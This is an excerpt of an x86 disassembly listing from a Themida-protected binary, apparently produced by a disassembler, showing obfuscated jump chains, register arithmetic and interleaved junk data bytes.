		mov	esi, 0BB3ABCCCh
		jmp	loc_501BCC
; ---------------------------------------------------------------------------
aIcsL		db '‰æé³«',0
		dw 6800h
		dd 5689h, 83241C89h, 248904ECh,	0DBEE924h, 815F0000h, 0EE4CCAEEh
		dd 83EA8103h, 154F955h,	83C281F2h, 0E954F955h, 45E2h, 0BA241489h
		dd 14611F2Dh, 1B55E281h, 0F2812509h, 641E166Bh,	8142DAF7h
		dd 730AFAC2h, 57BD5503h, 814D362Fh, 73AA45C5h, 5DEA2929h
		dd 737AE9h, 2434FF00h, 592434FFh, 4C481h, 0EC830000h, 243C8904h
		dd 0EC835F54h, 240C8904h, 6DFD6852h, 0E95A2E3Fh, 778Dh
		dd 0FFE4E9E9h, 68772DFFh, 0E95F7DD5h, 3543h
; ---------------------------------------------------------------------------


loc_4F7834:				; CODE XREF: Themida_:004F70D0j
		add	edi, esi
		add	edi, 2EA3286Bh
		add	edi, 531C7D2Ch
		pop	esi
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_4FE67E
; ---------------------------------------------------------------------------


loc_4F784E:				; CODE XREF: Themida_:00502230j
		push	edx
		mov	edx, 22525A41h
		push	eax
		mov	eax, 1AC5B9C7h
		add	edx, 3D7A32B8h
		add	edx, eax
		sub	edx, 3D7A32B8h
		pop	eax
		jmp	loc_4FA9B8
; ---------------------------------------------------------------------------
		dw 0E6C1h
		dd 53B85003h, 4813051Fh, 0DF317635h, 8BC631B8h,	0C4812404h
		dd 4, 348BF201h, 4C48124h, 87000000h, 0F5C2414h, 0B7E9C8B7h
		dd 8B00005Fh, 0C4812414h, 4, 8B242C87h,	5FE92424h, 5CFFFFE4h
		dd 5C24048Fh, 24048B66h, 657EE9h, 241C8B00h, 3257E9h, 240C8700h
		dd 66CF885Ch, 2FC9E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4F78D6:				; CODE XREF: Themida_:004FBCADj
		xor	ecx, 64F86235h
		inc	ecx
		sub	ecx, 46D19405h
		mov	esi, ecx
		jmp	loc_4FA713
; ---------------------------------------------------------------------------
		dw 8953h
		dd 4EC83E3h, 0BF243C89h, 4, 685FFB01h, 891h, 68241489h
		dd 4, 2228E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4F790E:				; CODE XREF: Themida_:004FBF7Cj
		xchg	ebp, [esp]
		not	ebp
		xchg	ebp, [esp]
		jmp	loc_4FA13A
; ---------------------------------------------------------------------------
		db 0ACh
		db 30h,	0D8h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_500E96
; ---------------------------------------------------------------------------
		dw 0F381h
		dd 62FA0EC2h, 34FFDA01h, 0C4835B24h, 25B95104h,	811E5343h
		dd 6DE084E9h, 59CA2914h, 0FFE3C9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4F7949:				; CODE XREF: Themida_:004F5F66j
		neg	edx
		inc	edx
		shl	edx, 8
		add	edx, 1BB64475h
		xor	eax, edx
		jmp	loc_4F61C5
; ---------------------------------------------------------------------------
		dd 4BDh, 3A992D00h, 0E8296473h,	733A9905h, 2434FF64h, 4C4815Dh
		dd 50000000h, 42474FFh,	24048F58h, 38ECE9h
		db 0
; ---------------------------------------------------------------------------


loc_4F7985:				; CODE XREF: Themida_:004F7123j
		add	eax, 2
		xor	eax, [esp]
		jmp	loc_4FBBC2
; ---------------------------------------------------------------------------
		dw 7BE9h
		dd 59FFFFE3h, 0FFEB23E9h, 8BDD30FFh, 0C483241Ch, 0DCB45004h
		dd 0CC80DCF6h, 4E4C0FDh, 5146CC80h, 0CDFEA8B5h,	0F580CDFEh
		dd 3458E9AFh, 52660000h, 0D00099B2h, 0D0285A66h, 0AD04992Ch
		dd 0E8E9515Ah, 0BA00009Dh, 6BCE2994h, 7BDAE9h
		db 0
; ---------------------------------------------------------------------------


loc_4F79E1:				; CODE XREF: Themida_:005004BFj
		push	ecx
		mov	ecx, esp
		push	edi
		mov	edi, 77B95CFCh
		shl	edi, 5
		dec	edi
		jmp	loc_4FFA96
; ---------------------------------------------------------------------------
		db 0BBh
		dd 0AC2423Bh, 496BF381h, 0EB816C51h, 529CF052h,	0A7E9D829h
		dd 8B000004h, 0F1F72424h, 74DAE956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4F7A16:				; CODE XREF: Themida_:004F8269j
		sub	edi, eax
		pop	eax
		jmp	loc_4F8E45
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 90682404h, 0E900007Dh, 7474h
; ---------------------------------------------------------------------------


loc_4F7A2C:				; CODE XREF: Themida_:004F8E9Bj
		push	ebp
		jmp	loc_500392
; ---------------------------------------------------------------------------
		dw 0C283h
		dd 24148704h, 662AE95Ch, 0B8660000h, 99E95FDCh,	55000048h
		dd 2434FF54h, 4C4815Dh,	81000000h, 4C5h, 3B5A6800h, 0C890000h
		dd 52565324h, 9A400B68h, 0F2815A1Ah, 70883D68h,	0A8EE281h
		dd 0CA813EA1h, 3EFD0495h, 5F31E9h, 81DAF700h, 6C038CC2h
		dd 58E4E91Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4F7A8E:				; CODE XREF: Themida_:004F5DBDj
		mov	[esp], ebp
		push	9C91759h
		jmp	loc_4FF363
; ---------------------------------------------------------------------------
aShxm		db 'Shxm',0
		dd 24048900h, 6BCAE9h, 0F7E95500h, 81000086h, 8830E0F3h
		dd 5BDF0146h, 0C781DFF7h, 58C5C115h, 0E95FF801h, 9495h
; ---------------------------------------------------------------------------


loc_4F7AC8:				; CODE XREF: Themida_:005017CBj
		add	ecx, esi
		jmp	loc_4F6534
; ---------------------------------------------------------------------------
aVsR		db 'Vé\r',0
		dd 2434FF00h, 53241C8Bh, 0C381E389h, 4,	8704C383h, 815C241Ch
		dd 4C4h, 22BCE900h, 4BB0000h, 1000000h,	2434FFD8h, 0D7E9515Bh
		dd 100006Eh, 0E9515BDEh, 0A773h
; ---------------------------------------------------------------------------


loc_4F7B10:				; CODE XREF: Themida_:00500BE3j
		add	edi, 4
		add	edi, 4
		jmp	loc_50164B
; ---------------------------------------------------------------------------
		dw 6851h
		dd 0F4h, 7543E9h, 0A3E95900h, 6600001Fh, 66C8BE0Fh, 660D6168h
		dd 0E9240C89h, 27E7h
; ---------------------------------------------------------------------------


loc_4F7B40:				; CODE XREF: Themida_:00501BD1j
		pop	ecx
		add	edi, 0D11FFA04h
		add	ebp, 39CF54EBh
		jmp	loc_4FFCBA
; ---------------------------------------------------------------------------


loc_4F7B52:				; CODE XREF: Themida_:004FA6B6j
		push	edi
		mov	edi, 7043243Bh
		jmp	loc_4FC9B0
; ---------------------------------------------------------------------------


loc_4F7B5D:				; CODE XREF: Themida_:00501C1Ej
		pop	esp
		push	751Ah
		mov	[esp], ebx
		jmp	loc_4F5DB8
; ---------------------------------------------------------------------------


loc_4F7B6B:				; CODE XREF: Themida_:004F654Fj
		xor	edi, eax
		xor	eax, edi
		not	edi
		push	edi
		mov	edi, esp
		jmp	loc_4F80F3
; ---------------------------------------------------------------------------
		db 81h,	0CAh, 94h
		dd 81591E00h, 1738DBF2h, 5AD52105h, 6958E9h, 0C80F5C00h
		dd 915DE9h, 24148900h, 0C2815A54h, 4, 81E38953h, 4C3h
		dd 4EB8100h, 0E9000000h, 640Ch,	24248B66h, 0FFE155E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4F7BBD:				; CODE XREF: Themida_:004FAB35j
		mov	[esp], eax
		push	edx
		mov	edx, 0DD255Fh
		push	edi
		mov	edi, 4ADC5431h
		mov	eax, 83F97F97h
		sub	eax, edi
		pop	edi
		sub	eax, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	esi
		mov	esi, 6572125Dh
		sub	esi, 1D523C56h
		shr	esi, 1
		and	esi, 0BD20690h
		sub	esi, 0ACEB59BEh
		jmp	loc_4FA4E1
; ---------------------------------------------------------------------------
		dd 0FFE111E9h, 8B5456FFh, 0C4812434h, 4, 5C4568h, 240C8900h
		dd 4B9h, 0E9CE0100h, 85C8h, 4C48158h, 52000000h, 24148B54h
		dd 4C481h, 33E90000h, 0FF000045h, 96E92434h, 87000046h
		dd 0C1BD55DEh, 8157EB7Dh, 0C35ED9E5h, 0C1EDD17Ch, 0B95107EDh
		dd 1B595081h, 7D6BE181h, 49496EBFh, 1BE98149h, 0E96E612Ch
		dd 0FFFFE1D7h, 3B0668h,	241C8900h, 6F632768h, 2434FF04h
		dd 0FFE7C8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4F7C81:				; CODE XREF: Themida_:004F99C5j
		mov	edx, 6C80BA6h
		push	edi
		mov	edi, 0BF0970h
		xor	edx, edi
		pop	edi
		add	edx, 64A75171h
		xor	edx, 16247527h
		push	ebp
		mov	ebp, 467D23E9h
		sub	ebp, 667E6CF1h
		xor	ebp, 8322CB41h
		xor	edx, ebp
		pop	ebp
		xor	edx, 7C440A4h
		sub	esi, 15B25F5Ch
		add	esi, edx
		add	esi, 15B25F5Ch
		pop	edx
		jmp	loc_4F6A01
; ---------------------------------------------------------------------------
		dw 0E389h
		dd 4C381h, 0EB830000h, 241C8704h, 8F1E95Ch, 0EC830000h
		dd 872EE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4F7CE6:				; CODE XREF: Themida_:004FAFB6j
		pop	edx
		jmp	loc_4FF926
; ---------------------------------------------------------------------------
		dd 5C240487h, 206BE9h, 2FE95900h, 68FFFFF5h, 3958h, 68241C89h
		dd 4B9Dh, 81242489h, 42404h, 34FF0000h,	0C4835B24h, 4C38104h
		dd 51000000h, 583722B9h, 0B2C1815Bh, 5748244Ah,	0E11AECBFh
		dd 6E56E93Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4F7D36:				; CODE XREF: Themida_:005005EFj
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_4F9289
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 241C8B04h, 4C481h, 48F0000h,	24248B24h, 0C8AF0F66h
		dd 5A61E9h, 341AB800h, 0C148593Dh, 443506E0h, 814F4D06h
		dd 8C66EAC2h, 17EA816Ah, 1071751h, 17C281C2h, 81071751h
		dd 8C66EAEAh, 24048B6Ah, 5104C483h, 0FFF529E9h,	243C89FFh
		dd 2BFh, 7F102D00h, 0F2E97A81h,	5400004Eh, 4C18159h, 56000000h
		dd 2BEh, 0FFF10100h, 348B2434h,	0E6895624h, 0DDCE9h, 0A5BF5700h
		dd 896D2D5Ch, 6793E9FDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4F7DD6:				; CODE XREF: Themida_:004F617Ej
		mov	[esp], edx
		mov	edx, 6D646A04h
		push	edx
		jmp	loc_4F5F39
; ---------------------------------------------------------------------------
		dd 4B951h, 0CF010000h, 2C78159h, 52000000h, 3E1BE9h, 58C70100h
		dd 5C243C87h, 582434FFh, 1DA568h, 24148900h, 24148B54h
		dd 5E08950h, 4,	8704C083h, 815C2404h, 4C2h, 2E256800h
		dd 34890000h, 6E0DBE24h, 0CE812A11h, 68C5252h, 8F37E9h
		dd 0FAC28100h, 0E92C9B43h, 5FD3h, 8E36C405h, 2DC8011Dh
		dd 1D8E36C4h, 3868E959h, 0EE810000h, 33DE76CAh,	7B72CE81h
		dd 0EE813D4Eh, 0C712CBA7h, 5D5EF001h, 48BC321h,	806EE924h
		dd 8B660000h, 89502404h, 9D36E9E0h, 0EB800000h,	46F3803Dh
		dd 6CE9D888h, 0B5000010h, 0C7ED8062h, 0C580E500h, 0D50058C7h
		dd 0E92434FFh, 0FFFFE6FBh, 8745D005h, 9DE90Dh, 0C15B0000h
		dd 130506E0h, 1532C8Bh,	2434FFC3h, 0E2895258h, 4BE56h
		dd 0F2010000h, 4EA835Eh, 0E9241487h, 45A2h, 818DC380h
		dd 4ECh, 24148900h, 0C280C6B2h,	0FFD3282Ah, 8DE92434h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_4F7EF3:				; CODE XREF: Themida_:004FE616j
		add	ecx, 0C0C221Ah
		add	eax, ecx
		pop	ecx
		jmp	loc_4FE7E9
; ---------------------------------------------------------------------------


loc_4F7F01:				; CODE XREF: Themida_:004FFFF9j
		mov	[edi+20h], ebp
		pop	ebp
		jmp	loc_4F7F69
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 0E2895224h, 4C281h, 0C2810000h, 4, 12E9E9h, 50C18800h
		dd 38B8h, 0E9F80100h, 4987h, 81243C89h,	4ECh, 24248900h
		dd 4240481h, 5F000000h,	0FFFE9BE9h, 0FEE95AFFh,	2D000051h
		dd 58D8383Ch, 0E958C589h, 2F7Fh
; ---------------------------------------------------------------------------


loc_4F7F5C:				; CODE XREF: Themida_:004FEE9Bj
		push	1C18h
		mov	[esp], ebp
		jmp	loc_4FAE9E
; ---------------------------------------------------------------------------


loc_4F7F69:				; CODE XREF: Themida_:004F7F05j
					; Themida_:004FCEFCj ...
		push	dword ptr [esp]
		pop	ebx
		sub	esp, 4
		jmp	loc_4FF13C
; ---------------------------------------------------------------------------
		dd 0E903E0C1h, 511Ch, 4C4835Ah,	0B3E9C328h
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_4F7F8B:				; CODE XREF: Themida_:004FC75Cj
		pop	esp
		mov	[esp], ecx
		push	eax
		jmp	loc_501973
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 0D2h
		dd 0F70EEE4Dh, 0CD8145D5h, 225C03CDh, 8904EC83h, 47E9241Ch
		dd 880000A2h, 43B5E9D0h, 0C2810000h, 6F3C2E53h,	0A367E9h
		db 0
; ---------------------------------------------------------------------------


loc_4F7FC1:				; CODE XREF: Themida_:004FD70Aj
		xor	[esp+4], edi
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_50104F
; ---------------------------------------------------------------------------
		dd 4EC81h, 2C890000h, 3E66BD24h, 0ED814FAAh, 51886882h
		dd 0D5E0F581h, 90E9FE21h, 56000013h, 6D3E94BEh,	5EF7895Fh
		dd 0E2FEA81h, 0FA293F38h, 0E2FC281h, 3C8B3F38h,	4C48124h
		dd 81000000h, 0CE5E48F2h, 0E9D331E4h, 7350h, 4C481h, 0ED810000h
		dd 2B001780h, 0D1E9E829h, 31000062h, 0D8295AD3h, 4EC815Bh
		dd 89000000h, 6850240Ch, 3AE0514h, 9F9FE958h, 0E9500000h
		dd 8F1Bh, 0EFE9D301h, 3000001Dh, 3636E9CFh, 81510000h
		dd 10982404h, 2D584F21h, 4F211098h, 81240C8Bh, 4C4h, 6CEFE900h
		dd 0D6010000h, 8324148Bh, 0C60104C4h, 48D5B951h, 0AE93D61h
		dd 0FF000021h, 0DC7CE932h, 34FFFFFFh, 7FE95824h, 0F7FFFFFAh
		dd 0ABCE81DEh, 817A7F5Ch, 26BA4E6h, 0A03CE979h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4F80B2:				; CODE XREF: Themida_:004FC032j
		push	4D515190h
		pop	ecx
		not	ecx
		jmp	loc_4FBF95
; ---------------------------------------------------------------------------
		db 45h
		dd 52C7ED81h, 0E829A601h, 26EDE9h
		db 0
; ---------------------------------------------------------------------------


loc_4F80CD:				; CODE XREF: Themida_:004F738Cj
		mov	[esp], eax
		jmp	loc_500693
; ---------------------------------------------------------------------------


loc_4F80D5:				; CODE XREF: Themida_:004F6272j
		mov	[esp], ebp
		mov	ebp, 1
		push	ebx
		push	edi
		push	ebp
		sub	dword ptr [esp], 33C23EF6h
		pop	edi
		add	edi, 33C23EF6h
		jmp	loc_4FDD63
; ---------------------------------------------------------------------------


loc_4F80F3:				; CODE XREF: Themida_:004F7B74j
		add	edi, 4
		push	ecx
		push	4
		pop	ecx
		add	edi, 47D32E6Eh
		sub	edi, 38797A86h
		sub	edi, ecx
		add	edi, 38797A86h
		sub	edi, 47D32E6Eh
		mov	ecx, [esp]
		add	esp, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], eax
		push	edi
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_4FC447
; ---------------------------------------------------------------------------
		db 0C1h, 0EDh, 8
		dd 9AD8B951h, 0CD31026Dh, 81240C8Bh, 4C4h, 9A24E900h, 0E9570000h
		dd 2ABh, 0EC8356ADh, 241C8904h,	1C0DE9h, 0E9F10900h, 8CC4h
		dd 0F0285966h, 0E9D8005Ah, 9FBFh, 43C381h, 0EB814E5Bh
		dd 5B585D27h, 0C381C301h, 5B585D27h, 43EB81h, 0BD554E5Bh
		dd 34A7653h, 9B97E9h
		db 0
; ---------------------------------------------------------------------------


loc_4F819D:				; CODE XREF: Themida_:004FCA65j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_4FE1CB
; ---------------------------------------------------------------------------
		dw 18BBh
		dd 31624FA3h, 0C3015BD8h, 8324048Bh, 0C38104C4h, 2, 0E9241C33h
		dd 588Ah, 58240429h, 504E8C1h, 0FFBBEAE0h, 380FE9h, 0C6815C00h
		dd 2, 31243433h, 34332434h, 0CD25C24h, 0FE99C24h, 0BBFFFFDBh
		dd 2, 710D9105h, 83D8014Eh, 9CE904ECh
		db 5Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_4F8217:				; CODE XREF: Themida_:004FC3DAj
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_4FEB61
; ---------------------------------------------------------------------------
		dw 2C87h
		dd 68665C24h, 11E96EABh, 2D000048h, 2CB2B90h, 642BE9h
		db 0
; ---------------------------------------------------------------------------


loc_4F8239:				; CODE XREF: Themida_:004FD882j
		pop	eax
		sub	edx, edi
		jmp	loc_4FBD8C
; ---------------------------------------------------------------------------
aBuatugyso?	db 'î€tãgYéo?',0
		dd 2434FF00h, 0E9240C8Bh, 553Fh
; ---------------------------------------------------------------------------


loc_4F8258:				; CODE XREF: Themida_:004F8F27j
		sub	edi, 65D52C3Bh
		push	eax
		mov	eax, 64C62C8Ah
		xor	eax, 0A6D580DAh
		jmp	loc_4F7A16
; ---------------------------------------------------------------------------
		dw 0E189h
		dd 4B850h, 0C1010000h, 42D8E9h,	0D8285900h, 4D904h, 0E951ED2Ch
		dd 3A6h, 0F704E0C1h, 5E880DD8h,	682D6D8Fh, 0E9ECF718h
		dd 86E9h, 9AA0F281h, 0EA8180B2h, 2D680666h, 4983EA81h
		dd 0EA81258Ch, 4CB30A37h, 314EBD55h, 0D8E95D10h, 1FFFFE4h
		dd 0C335BD9h, 240C3124h, 8B240C33h, 21662424h, 0E99C2404h
		dd 0FFFFDA36h, 0BE243489h, 6185527Ah, 388AE9h
		db 0
; ---------------------------------------------------------------------------


loc_4F82E9:				; CODE XREF: Themida_:00502650j
		pop	ebp
		push	edi
		mov	edi, 0A24AF89Bh
		sub	ebp, edi
		pop	edi
		mov	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_4F8CEF
; ---------------------------------------------------------------------------
aISA		db '‰$$é/A',0
		align 4
		dd 2C04C483h, 0E326826h, 0D3E90000h, 8300008Ch,	0C18104C4h
		dd 4, 7270E9h, 5AD03100h, 4E58C689h, 0FFE50CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4F8331:				; CODE XREF: Themida_:004FB449j
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		push	5E9Ah
		mov	[esp], ebp
		jmp	loc_50272A
; ---------------------------------------------------------------------------


loc_4F8344:				; CODE XREF: Themida_:004FECC8j
		push	ebx
		mov	ebx, 699D39EFh
		or	ebx, 2CA20ACCh
		inc	ebx
		jmp	loc_4FF5AF
; ---------------------------------------------------------------------------
		dw 1C87h
aBiibOsj	db '$\ë›bÐoé¦',8,0
		db 0
; ---------------------------------------------------------------------------


loc_4F8365:				; CODE XREF: Themida_:004F7047j
		pop	ebp
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_4F93D2
; ---------------------------------------------------------------------------
		dw 0F747h
		dd 62F781DFh, 5825EC0h,	7DD56877h, 96E9F829h, 83FFFFF4h
		dd 0BCE904ECh, 5D00003Bh, 3494E9h, 0D1D3F700h, 35BA52E3h
		dd 0E93B6F6Fh, 79A5h, 24048B66h, 48B5450h, 1B9BE924h, 0E9970000h
		dd 2ED2h, 0E951C0FEh, 4AFCh, 0D8F6C0FEh, 0E8C0D8F6h, 1B66E905h
		dd 815A0000h, 4C2h, 4EA8300h, 5C241487h, 0FFF7A8E9h, 15ED81FFh
		dd 0E975577Dh, 0FFFFF4A7h, 8324348Bh, 72E904C4h, 0BF00001Bh
		dd 66EB7BD4h, 9980E9h, 0E935B400h, 4163h, 5CCAE95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4F841A:				; CODE XREF: Themida_:004F65D8j
		jnz	loc_4FB6E0
		push	ebx
		push	444Ch
		jmp	loc_500C35
; ---------------------------------------------------------------------------


loc_4F842B:				; CODE XREF: Themida_:004FE234j
		pop	ecx
		jmp	loc_4FDCBD
; ---------------------------------------------------------------------------
		db 81h,	0E1h, 0E7h
		dd 8151DE12h, 598945E9h, 5E9C1FBh, 7F5BE9h, 5D0F700h, 0B1B7D778h
		dd 158C229h, 0C3815AD3h, 2, 0E9241C87h,	8EF6h, 6DA6BB53h
		dd 0D929125Fh, 81241C8Bh, 4C4h,	0C1815A00h, 2, 8B240C87h
		dd 0F662424h, 9C2404ABh, 0FFD889E9h, 0E9D7F7FFh, 4C74h
		dd 67E9E801h, 58000040h, 0B450F300h, 7ECC0AFh, 8008E4C0h
		dd 0E32802C4h, 7CE95A58h
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4F84AF:				; CODE XREF: Themida_:004FA70Ej
		xchg	ecx, esi
		xchg	eax, ecx
		not	eax
		jmp	loc_4F88FA
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 6658669Dh, 9C240411h, 0FFD849E9h, 2434FFFFh,	6A7EE958h
		dd 0E95C0000h, 428h, 2D58C189h,	34077176h, 8138762Dh, 5E7D2D07h
		dd 0C80164D6h, 4D48BA52h, 0C2816C61h, 465F64DDh, 2F0FF281h
		dd 7EE96284h, 8B000066h, 0C483240Ch, 4685304h, 5B000000h
		dd 517DC181h, 0E9817D2Fh, 40905309h, 0C181D901h, 40905309h
		dd 517DE981h, 1C8B7D2Fh, 0E0895024h, 405h, 11F6E900h, 0E9540000h
		dd 6F20h, 8324148Bh, 5D6804C4h,	8900004Bh, 67E9241Ch, 80FFFFFCh
		dd 42E91FE5h, 0F7000088h, 7E5C1D5h, 60E9DDF7h, 0B0000048h
		dd 0E95066D1h, 93B1h, 4BE56h, 74010000h, 0E95E0424h, 0FFFFF0BAh
		dd 4C181h, 76E90000h, 100007Dh,	14335BDAh, 24143124h, 7E41E9h
		db 0
; ---------------------------------------------------------------------------


loc_4F8599:				; CODE XREF: Themida_:004FA5ADj
		mov	esi, [esp]
		jmp	loc_4FBCF1
; ---------------------------------------------------------------------------
aU3cVhu		db '-ã3–-Vhî',0Ah,0
		align 4
		dd offset byte_500EE9
		dd 4C48100h, 0E9000000h, 43DCh
; ---------------------------------------------------------------------------


loc_4F85BC:				; CODE XREF: Themida_:004F92A7j
		sub	ebx, 0F442DD91h
		mov	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_4FEE0D
; ---------------------------------------------------------------------------
		db 89h
		dd 0E952241Ch, 71DDh
; ---------------------------------------------------------------------------


loc_4F85D8:				; CODE XREF: Themida_:004FB4A9j
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		push	edi
		mov	edi, esp
		push	ebx
		jmp	loc_4FCFF3
; ---------------------------------------------------------------------------
		db 0Fh
		dd offset dword_4D02F8+68Ch
		dd 7BD46800h, 4890000h,	6ACFE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4F85FA:				; CODE XREF: Themida_:004F9BA6j
		add	esi, 4
		add	esi, 4
		push	esi
		jmp	loc_4FA770
; ---------------------------------------------------------------------------
		dd 4BF57h, 0F8010000h, 2404875Fh, 2FEB805Ch, 9206E9h
		db 0
; ---------------------------------------------------------------------------


loc_4F8621:				; CODE XREF: Themida_:004FAB10j
		xchg	ebp, [esp]
		pop	esp
		push	640Ah
		mov	[esp], esi
		jmp	loc_5015E3
; ---------------------------------------------------------------------------
aRsS1i		db 'RS·Éé1I',0
		dw 500h
		dd 752C460Eh, 0E2DC801h, 5752C46h, 757B1B85h, 0E9240C8Bh
		dd 3618h
; ---------------------------------------------------------------------------


loc_4F8654:				; CODE XREF: Themida_:004F97B0j
		add	ecx, 4
		push	ebp
		jmp	loc_5021C3
; ---------------------------------------------------------------------------
		dd 5A02F781h, 0F82905EDh, 81243C8Bh, 4C4h, 0E6895600h
		dd 0B92BB53h, 0EBC1089Dh, 20C38102h, 1FDD8BDh, 0EE815BDEh
		dd 4, 5C243487h, 0BA241489h, 4CC5DEF9h,	2826E951h, 0C1660000h
		dd 686604EBh, 89661FB4h, 6650243Ch, 66753668h, 66406658h
		dd 66AF8A05h, 6658C789h, 5F66FB01h, 0BBEB8166h,	6652667Fh
		dd 0E94EB0BAh, 0FFFFE2A4h, 0CE30A1B6h, 0FBBE959h, 14890000h
		dd 0F2F5E924h, 0F028FFFFh, 0E9E8285Ah, 4CFDh
; ---------------------------------------------------------------------------


loc_4F86EC:				; CODE XREF: Themida_:004FC794j
		pop	ebp
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_4FE5E4
; ---------------------------------------------------------------------------
		dd 0EF7815Dh, 89083DABh, 0DAABE9FEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4F8706:				; CODE XREF: Themida_:004F9521j
		push	edi
		mov	edi, 1C1B7C21h
		shr	edi, 7
		add	edi, 75682BB4h
		mov	edx, edi
		pop	edi
		jmp	loc_5014D1
; ---------------------------------------------------------------------------
		align 2
		dw 2CD8h
		dd 0B15153FDh, 6FB45043h, 90E9E788h, 8B000066h,	0D3662424h
		dd 0E99C243Ch, 0AC9h, 33B3EA81h, 0D868259Dh, 8900000Dh
		dd 2BE9240Ch, 80000095h, 5966D3EBh, 0F570E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4F875A:				; CODE XREF: Themida_:004FD3A1j
		pop	eax
		jmp	loc_4F707C
; ---------------------------------------------------------------------------
		dd 8831B151h, 240C8BC8h, 4C481h, 0C1080000h, 69B5E9h, 41EB8100h
		dd 1441468h, 41C381C3h,	81441468h, 3071E1C3h, 1605684Eh
		dd 3C890000h, 0DCDFE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4F8796:				; CODE XREF: Themida_:004FF2F4j
		pop	ecx
		push	ebx
		jmp	loc_4FF305
; ---------------------------------------------------------------------------


loc_4F879D:				; CODE XREF: Themida_:004FF6D6j
		pop	eax
		add	esp, 4
		jmp	loc_4FB4C9
; ---------------------------------------------------------------------------
		db 0E9h, 64h, 0D5h
		dd 8951FFFFh, 0D1BF57E1h, 6845AA6Ah, 0
		dd offset dword_49C85C+68Dh
		dd 0ADC28100h, 29B24450h, 0D8015AD0h, 0A62EA205h, 60970547h
		dd 51557A25h, 5843D368h, 3EE95924h, 0AD00001Fh,	207F83h
		dd 3C07840Fh, 0C6810000h, 8D739AAh, 4EC81h, 4890000h, 4122E924h
		dd 14890000h, 43685324h, 8900007Bh, 58542404h, 405h, 0E4E0E900h
		dd 0BF57FFFFh, 63D02331h, 19E9DFF7h, 0B8000005h, 68B955D1h
		dd 46AA33BDh, 0E9C50197h, 2941h, 0B15B9935h, 5B672D38h
		dd 833539B0h, 48719552h, 0D079D22Dh, 0E9C301F4h, 12AFh
		dd 0C09CB252h, 0D2F605EAh, 8003E2C0h, 0D7882BEAh, 28BF045Ah
		dd 66BF2CF8h, 0F150E95Bh, 3C89FFFFh, 2BF24h, 0FB290000h
		dd 5F2434FFh, 4C481h, 1C330000h, 241C3124h, 6D8E9h, 71CF8100h
		dd 810F5B20h, 0A34331C7h, 0F7814F50h, 0B7295E0Bh, 3858E9h
		dd 2DEE8000h, 5266C6FEh, 1244C86h, 4C86D1F6h, 5A660124h
		dd 0E99CEE80h, 8AC8h, 4C181h, 0C1810000h, 4, 0E9240C87h
		dd 0FFFFEFDBh, 81242C8Bh, 4C4h,	0E9D30100h, 50F5h, 3E14900Dh
		dd 3DB7E905h, 0DF890000h, 0D58AE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4F88FA:				; CODE XREF: Themida_:004F84B4j
		xchg	eax, ecx
		jmp	loc_4FF7DD
; ---------------------------------------------------------------------------
		dd 8B240489h, 8957240Ch, 0DB92E9E7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4F890E:				; CODE XREF: Themida_:004FA002j
		add	ebp, 7B6F5C5Fh
		add	ebp, edx
		sub	ebp, 7B6F5C5Fh
		jmp	loc_4F8AD6
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0FFF06EE9h, 240C31FFh, 8B240C33h, 61682424h,	89000026h
		dd 0E589242Ch, 4C581h, 5E90000h, 6600007Ch, 663E5E68h
		dd 0E9240489h, 0FFFFD3BEh
; ---------------------------------------------------------------------------


loc_4F8954:				; CODE XREF: Themida_:004FCF32j
		push	ebp
		mov	ebp, 4D021DBEh
		and	ebp, 19CE7C77h
		dec	ebp
		jmp	loc_4FE4C1
; ---------------------------------------------------------------------------
		dw 0CF89h
		dd 595FFD89h, 0E957DDF7h, 0FFFFDDA8h
; ---------------------------------------------------------------------------


loc_4F8974:				; CODE XREF: Themida_:00500C4Cj
		push	ecx
		mov	ecx, 27251546h
		shr	ecx, 5
